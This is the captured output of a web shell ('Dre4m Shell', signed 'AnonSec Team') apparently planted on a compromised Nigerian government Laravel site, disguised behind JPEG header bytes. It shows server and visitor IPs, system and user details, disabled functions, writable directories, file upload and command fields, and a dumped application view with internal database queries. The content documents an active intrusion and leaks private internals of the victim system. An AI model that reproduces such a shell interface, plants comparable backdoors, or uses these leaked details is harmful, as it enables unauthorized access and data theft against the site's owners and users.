ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.117.229.181
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/561a88ccaa1ebb91a5d2f3fc70cb00e8bdfda318.php
<ul class="sidebar-menu">
    <li class="header">USER'S LINKS </li>
    <!--link-->
    <!--if(Session::get('firstLogin') == 1)-->
    <?php
        $userType = DB::table('users')->where('id', Auth::user()->id)->value('user_type');
        // Fetch all user modules without grouping
        if ($userType == 'Technical') {
            $userModules = DB::table('assign_user_role')
                ->join('user_role', 'user_role.roleID', '=', 'assign_user_role.roleID')
                ->join('assign_module_role', 'assign_module_role.roleID', '=', 'assign_user_role.roleID')
                ->join('module', 'module.moduleID', '=', 'assign_module_role.moduleID')
                //->where('assign_user_role.userID', '=', Auth::user()->id)
                ->whereRaw('module.moduleID = assign_module_role.moduleID')
                //->whereRaw('user_role.roleID = assign_user_role.roleID')
                // ->distinct()
                ->groupBy('module.moduleID')
                ->select('module.modulename', 'module.moduleID', 'user_role.rolename', 'module.link_type')
                // ->orderBy('module.module_rank', 'ASC')
                ->orderBy('module.modulename', 'ASC')
                ->get();
                
        } else {
            $userModules = DB::table('assign_user_role')
                ->join('user_role', 'user_role.roleID', '=', 'assign_user_role.roleID')
                ->join('assign_module_role', 'assign_module_role.roleID', '=', 'assign_user_role.roleID')
                ->join('module', 'module.moduleID', '=', 'assign_module_role.moduleID')
                ->where('assign_user_role.userID', '=', Auth::user()->id)
                ->whereRaw('module.moduleID = assign_module_role.moduleID')
                ->whereRaw('user_role.roleID = assign_user_role.roleID')
                ->distinct()
                ->select('module.modulename', 'module.moduleID', 'user_role.rolename', 'module.link_type')
                ->orderBy('module.link_type', 'ASC') // Order by link_type
                // ->orderBy('module.module_rank', 'ASC')
                ->orderBy('module.modulename', 'ASC')
                ->get();
        }
    ?>
    
    <?php if($userModules): ?>
        <?php
            $groupedModules = [];
            foreach ($userModules as $module) {
                $groupedModules[$module->link_type][] = $module;
            }
        ?>

        <?php $__currentLoopData = $groupedModules; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $linkType => $modules): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
            <li class="text-center" style="color: white"><strong><?php echo e($linkType); ?></strong></li>
            <?php $__currentLoopData = $modules; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $module): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                <?php
                    // Fetch submodules for each module
                    // $userLinks = DB::table('submodule')
                    //     ->join('module', 'module.moduleID', '=', 'submodule.moduleID')
                    //     ->where('submodule.moduleID', '=', $module->moduleID)
                    //     ->distinct()
                    //     // ->orderBy('module.module_rank', 'Asc')
                    //     ->orderBy('module.modulename', 'ASC')
                    //     // ->orderBy('submodule.sub_module_rank', 'Asc')
                    //     ->orderBy('submodule.submodulename', 'Asc')
                    //     ->get();
                    if ($userType == 'Technical') {
                        $userLinks = DB::table('submodule')
                            ->join('module', 'module.moduleID', '=', 'submodule.moduleID')
                            ->where('submodule.moduleID', '=', $module->moduleID)
                            ->distinct()
                            // ->orderBy('module.module_rank', 'Asc')
                            ->orderBy('module.modulename', 'ASC')
                            // ->orderBy('submodule.sub_module_rank', 'Asc')
                            ->orderBy('submodule.submodulename', 'Asc')
                            ->get();
                    }else{
                        // $userRole = DB::table('assign_user_role')->where('userID', Auth::user()->id)->value('roleID');
                        // $userLinks = DB::table('assign_module_role')
                        //     ->where('assign_module_role.roleID', $userRole)
                        //     ->where('assign_module_role.moduleID', $module->moduleID)
                        //     ->leftjoin('submodule', 'submodule.submoduleID', 'assign_module_role.submoduleID')
                        //     ->select('submodule.submodulename', 'submodule.route')
                        //     ->distinct()
                        //     ->orderBy('submodule.submodulename', 'Asc')
                        //     ->get();
                        $userLinks = DB::table('assign_user_role')
                            ->join('user_role', 'user_role.roleID', '=', 'assign_user_role.roleID')
                            ->join('assign_module_role', 'assign_module_role.roleID', '=', 'assign_user_role.roleID')
                            ->join('submodule', 'submodule.submoduleID', '=', 'assign_module_role.submoduleID')
                            ->join('module', 'module.moduleID', '=', 'assign_module_role.moduleID')
                            ->where('assign_user_role.userID', '=', Auth::user()->id)
                            ->where('submodule.moduleID', '=', $module->moduleID)
                            ->distinct()
                            ->orderBy('submodule.submodulename', 'Asc')
                            ->get();
                    }
                ?>
                <li class="treeview" id="admin">
                    <a data-target="#">
                        <i class="fa fa-users text-aqua"></i> <span><?php echo e($module->modulename); ?></span>
                        <i class="fa fa-angle-left pull-right"></i>
                    </a>
                    <ul class="treeview-menu">
                        <?php $__currentLoopData = $userLinks; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $route): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                            <li><a href="<?php echo url($route->route); ?>"><i
                                        class="fa fa-circle-o"></i><?php echo e($route->submodulename); ?></a></li>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </ul>
                </li>
            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
    <?php endif; ?>
    <!--endif-->
    <!--//-->
</ul>
<?php /**PATH /home/nicngo5/grp.nicn.gov.ng/resources/views/MasterRolePermission/layout/userRouteLink.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team